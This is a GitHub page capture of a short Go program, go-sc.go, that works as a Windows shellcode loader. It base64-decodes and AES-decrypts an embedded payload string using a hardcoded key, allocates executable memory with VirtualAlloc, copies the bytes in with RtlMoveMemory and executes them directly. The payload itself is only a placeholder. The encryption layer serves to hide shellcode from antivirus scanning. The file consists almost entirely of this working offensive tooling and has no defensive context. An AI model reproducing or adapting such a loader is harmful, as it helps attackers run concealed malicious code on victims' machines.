-
Notifications
You must be signed in to change notification settings - Fork 51
/
Copy pathgo-sc.go
56 lines (45 loc) · 1.16 KB
/
go-sc.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)
func build(ddm string) {
sDec, _ := base64.StdEncoding.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
n := len(str)
count := int(str[n-1])
newPaddingText := str[:n-count]
return newPaddingText
}
//---------------DES解密--------------------
func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingText1(src)
return src
}
func main() {
str := "payload"
key := []byte("LeslieCheungKwok")
base_byte, _ := base64.StdEncoding.DecodeString(str)
build(string(DecrptogAES(base_byte, key)))
}